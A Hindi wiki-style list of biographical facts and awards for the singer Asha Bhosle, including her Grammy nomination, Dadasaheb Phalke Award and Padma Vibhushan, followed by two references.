  • आशा भोंसले जी के पसंदीदा संगीत निर्देशक आर. डी. बर्मन जी हैं।
  • आशा भोंसले जी के पसंदीदा पार्श्वगायक लता मंगेशकरकिशोर कुमार हैं।
  • 1997 में आशा जी पहली भारतीय गायिका बनी जो ‘ग्रेमी अवार्ड' के लिए नामांकित की गई जो उस्ताद अली अकबर ख़ान के साथ एक विशेष एलबम के लिए था।
  • आशा जी ने “सत्तरहवीं महाराष्ट्र स्टेट अवार्ड” प्राप्त किया।
  • आशा जी भारतीय सिनेमा में उत्कृष्ट योगदान के लिए सन् 2000 में “दादा साहेब फाल्के अवार्ड” से सम्मानित की गई।
  • आशा जी को साहित्य में डॉक्टरेट की उपाधि से अमरावती विश्वविद्यालय एवं जलगाँव विश्वविद्यालय द्वारा सम्मानित किया गया।
  • “द फ्रिडी मरकरी अवार्ड” कला के क्षेत्र में उत्कृष्ट उपलब्धियों के लिए आशा जी को इस ख़ास पुरस्कार से सममानित किया गया।
  • नवम्बर 2002 में आशा जी को “बर्मिंघम फ़िल्म फेस्टिवल” विशेष रूप से समर्पित किया गया।
  • पद्म विभूषण” के द्वारा राष्ट्रपति प्रतिभा देवी सिंह पाटिल ने 5 मई 2008 को आशा जी को सम्मानित किया। यह सम्मान भारत सरकार के महत्त्वपूर्ण सम्मानों में एक है।


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टीका टिप्पणी और संदर्भ

  1. आशा भोंसले विश्व संगीत की 20 हस्तियों में शामिल (हिन्दी) नूतन सवेरा राष्ट्रीय हिन्दी साप्तहिक। अभिगमन तिथि: 21 सितम्बर, 2010
  2. आशा भोंसले - जन्म दिन विशेष (हिन्दी) (एच.टी.एम.एल) प्रेसनोट डाट इन। अभिगमन तिथि: 21 सितम्बर, 2010

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